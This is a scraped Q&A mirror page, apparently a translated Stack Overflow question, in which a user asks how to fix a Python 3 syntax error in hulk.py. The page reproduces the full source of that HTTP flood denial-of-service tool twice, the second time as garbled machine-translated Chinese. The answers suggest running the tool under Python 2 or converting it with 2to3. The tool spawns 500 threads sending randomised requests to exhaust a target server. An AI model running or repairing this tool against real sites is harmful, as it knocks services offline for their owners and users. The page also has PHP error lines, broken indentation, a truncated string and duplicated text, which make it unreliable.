Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/343.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 如何解决hulk.py中的语法错误?_Python_Python 2.7_Load Testing - Fatal编程技术网

Python 如何解决hulk.py中的语法错误?

Python 如何解决hulk.py中的语法错误?,python,python-2.7,load-testing,Python,Python 2.7,Load Testing,我正在本地服务器上运行hulk.py脚本。我无法成功执行此脚本 我已从url下载了hulk.py:“ 我采取了以下步骤: 在桌面上提取下载的文件 在命令提示符下,我已导航到此提取的文件夹 运行命令“hulk.py https://” 显示以下错误: File "C:\Users\Abhishek Asopa\Desktop\hulk-master\hulk-master\hulk.py", line 72 print '--------------------------------------

我正在本地服务器上运行hulk.py脚本。我无法成功执行此脚本

我已从url下载了hulk.py:“

我采取了以下步骤:

  • 在桌面上提取下载的文件
  • 在命令提示符下,我已导航到此提取的文件夹
  • 运行命令“hulk.py https://”
  • 显示以下错误:

    File "C:\Users\Abhishek Asopa\Desktop\hulk-master\hulk-master\hulk.py", line 72
    print '---------------------------------------------------'
                                                              ^
    SyntaxError: Missing parentheses in call to 'print'
    
    下面是hulk.py的代码:

    # ----------------------------------------------------------------------------------------------
    # HULK - HTTP Unbearable Load King
    #
    # this tool is a dos tool that is meant to put heavy load on HTTP servers in      order to bring them
    # to their knees by exhausting the resource pool, its is meant for research     purposes only
    # and any malicious usage of this tool is prohibited.
    #
    # author :  Barry Shteiman , version 1.0
    # ----------------------------------------------------------------------------------------------
    import urllib2
    import sys
    import threading
    import random
    import re
    
    #global params
    url=''
    host=''
    headers_useragents=[]
    headers_referers=[]
    request_counter=0
    flag=0
    safe=0
    
    def inc_counter():
        global request_counter
        request_counter+=1
    
    def set_flag(val):
        global flag
        flag=val
    
    def set_safe():
        global safe
        safe=1
    
        # generates a user agent array
        def useragent_list():
        global headers_useragents
        headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;     rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;     rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-    US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-    US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-    US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT     6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT     6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR     3.5.30729; .NET CLR 3.0.30729)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT     5.2; Win64; x64; Trident/4.0)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
        headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
        return(headers_useragents)
    
    # generates a referer array
    def referer_list():
        global headers_referers
        headers_referers.append('http://www.google.com/?q=')
        headers_referers.append('http://www.usatoday.com/search/results?q=')
        headers_referers.append('http://engadget.search.aol.com/search?q=')
            headers_referers.append('http://' + host + '/')
            return(headers_referers)
    
    #builds random ascii string
    def buildblock(size):
        out_str = ''
        for i in range(0, size):
            a = random.randint(65, 90)
            out_str += chr(a)
        return(out_str)
    
    def usage():
        print '---------------------------------------------------'
        print 'USAGE: python hulk.py <url>'
        print 'you can add "safe" after url, to autoshut after dos'
        print '---------------------------------------------------'
    
    
    #http request
    def httpcall(url):
        useragent_list()
        referer_list()
        code=0
        if url.count("?")>0:
            param_joiner="&"
        else:
            param_joiner="?"
        request = urllib2.Request(url + param_joiner +     buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
        request.add_header('User-Agent', random.choice(headers_useragents))
        request.add_header('Cache-Control', 'no-cache')
        request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
        request.add_header('Referer', random.choice(headers_referers) +     buildblock(random.randint(5,10)))
        request.add_header('Keep-Alive', random.randint(110,120))
        request.add_header('Connection', 'keep-alive')
        request.add_header('Host',host)
        try:
                urllib2.urlopen(request)
        except urllib2.HTTPError, e:
                #print e.code
                set_flag(1)
                print 'Response Code 500'
                code=500
        except urllib2.URLError, e:
                #print e.reason
                sys.exit()
        else:
                inc_counter()
                urllib2.urlopen(request)
        return(code)        
    
    
    #http caller thread 
    class HTTPThread(threading.Thread):
        def run(self):
            try:
                while flag<2:
                    code=httpcall(url)
                    if (code==500) & (safe==1):
                        set_flag(2)
            except Exception, ex:
                pass
    
    # monitors http threads and counts requests
    class MonitorThread(threading.Thread):
        def run(self):
            previous=request_counter
            while flag==0:
                if (previous+100<request_counter) & (previous<>request_counter):
                    print "%d Requests Sent" % (request_counter)
                    previous=request_counter
            if flag==2:
                print "\n-- HULK Attack 
    
    #execute 
        if len(sys.argv) < 2:
            usage()
            sys.exit()
    else:
        if sys.argv[1]=="help":
            usage()
            sys.exit()
        else:
            print "-- HULK Attack Started --"
            if len(sys.argv)== 3:
                if sys.argv[2]=="safe":
                    set_safe()
            url = sys.argv[1]
            if url.count("/")==2:
                url = url + "/"
            m = re.search('http\://([^/]*)/?.*', url)
            host = m.group(1)
            for i in range(500):
                t = HTTPThread()
                t.start()
            t = MonitorThread()
            t.start()
    
    #----------------------------------------------------------------------------------------------
    #绿巨人-HTTP无法承受的负载王
    #
    #此工具是一个dos工具,用于在HTTP服务器上加载大量负载,以使其正常工作
    #由于耗尽了资源库,这项研究仅用于研究目的
    #禁止恶意使用此工具。
    #
    #作者:Barry Shteiman,版本1.0
    # ----------------------------------------------------------------------------------------------
    导入urllib2
    导入系统
    导入线程
    随机输入
    进口稀土
    #全局参数
    url=“”
    主机=“”
    headers\u useragents=[]
    标题\u referers=[]
    请求\u计数器=0
    标志=0
    安全=0
    def inc_计数器():
    全局请求计数器
    请求计数器+=1
    def set_标志(val):
    全球旗帜
    flag=val
    def set_safe():
    全球安全
    安全=1
    #生成一个用户代理数组
    def useragent_list():
    全局头和用户代理
    headers_useragents.append('Mozilla/5.0(X11;U;Linux x86_64;en-US;rv:1.9.1.3)Gecko/20090913 Firefox/3.5.3')
    头文件\U useragents.append('Mozilla/5.0(Windows;U;Windows NT 6.1;en;rv:1.9.1.3)Gecko/20090824 Firefox/3.5.3(.NET CLR 3.5.30729)'))
    headers\U useragents.append('Mozilla/5.0(Windows;U;Windows NT 5.2;en-US;rv:1.9.1.3)Gecko/20090824 Firefox/3.5.3(.NET CLR 3.5.30729)'))
    headers_useragents.append('Mozilla/5.0(Windows;U;Windows NT 6.1;en-US;rv:1.9.1.1)Gecko/20090718 Firefox/3.5.1')
    headers_useragents.append('Mozilla/5.0(Windows;U;Windows NT 5.1;en-US)AppleWebKit/532.1(KHTML,如Gecko)Chrome/4.0.219.6 Safari/532.1')
    headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 6.1;WOW64;Trident/4.0;SLCC2;.NET CLR 2.0.50727;InfoPath.2)'
    headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 6.0;Trident/4.0;SLCC1;.NET CLR 2.0.50727;.NET CLR 1.1.4322;.NET CLR 3.5.30729;.NET CLR 3.0.30729'))
    headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 5.2;Win64;x64;Trident/4.0)'
    headers_useragents.append('Mozilla/4.0(兼容;MSIE 8.0;Windows NT 5.1;Trident/4.0;SV1;.NET CLR 2.0.50727;InfoPath.2)'
    headers_useragents.append('Mozilla/5.0(Windows;U;MSIE 7.0;Windows NT 6.0;en US'))
    headers_useragents.append('Mozilla/4.0(兼容;MSIE 6.1;Windows XP)'
    headers_useragents.append('Opera/9.80(WindowsNT5.2;U;ru)Presto/2.5.22版本/10.51')
    返回(标题和用户代理)
    #生成一个referer数组
    def referer_list():
    全局头文件
    标题\u referers.append('http://www.google.com/?q=')
    标题\u referers.append('http://www.usatoday.com/search/results?q=')
    标题\u referers.append('http://engadget.search.aol.com/search?q=')
    headers\u referers.append('http://'+host+'/'))
    返回(标题和引用)
    #构建随机ascii字符串
    def构建块(大小):
    out_str=“”
    对于范围内的i(0,大小):
    a=random.randint(65,90)
    out_str+=chr(a)
    返回(out_str)
    def用法():
    打印“--------------------------------------------------------------”
    打印“用法:python-hulk.py”
    打印“您可以在url后添加“安全”,在dos后自动关机”
    打印“--------------------------------------------------------------”
    #http请求
    def httpcall(url):
    用户代理列表()
    参考列表()
    代码=0
    如果url.count(“?”)大于0:
    param_joiner=“&”
    其他:
    param_joiner=“?”
    request=urlib2.request(url+param_joiner+buildblock(random.randint(3,10))+'='+buildblock(random.randint(3,10)))
    request.add_header('User-Agent',random.choice(headers_-useragents))
    请求。添加_头('Cache-Control','no-Cache')
    请求。添加标题('Accept-Charset','ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer',random.choice(headers_referers)+构建块(random.randint(5,10)))
    request.add_头('Keep-Alive',random.randint(110120))
    请求。添加_头('连接','保持活动')
    请求。添加_头('Host',Host)
    尝试:
    urllib2.urlopen(请求)
    除urllib2.HTTPError外,e:
    #打印电子代码
    设置_标志(1)
    打印“响应代码500”
    代码=500
    除urllib2.URLError外,e:
    #打印e.reason
    sys.exit()
    其他:
    有限公司
    urllib2.urlopen(请求)
    返回(代码)
    #http调用线程
    HTTPThread类(threading.Thread):
    def运行(自):
    尝试:
    
    当flag您使用的是Python3,此工具用于Python2时,您使用的是Python3,此工具用于Python2时,您使用的是Python3,此工具用于Python2,此工具用于Python2。听起来您试图使用Python3运行脚本,它将打印视为一个函数需要在字符串周围加括号。我会

  • 尝试使用Python2运行它
  • 修改print语句以包含括号,可能还有其他问题,但您可以看到错误是否移动
  • 如果是Python 2/3问题,请尝试在hulk.py源代码上运行2to3

  • 听起来您正试图使用Python3运行该脚本,Python3将print视为一个需要在字符串周围加括号的函数。我会

  • 尝试使用Python2运行它
  • 修改print语句以包含括号,可能还有其他问题,但您可以看到错误是否移动
  • 如果是Python 2/3问题,请尝试在hulk.py源代码上运行2to3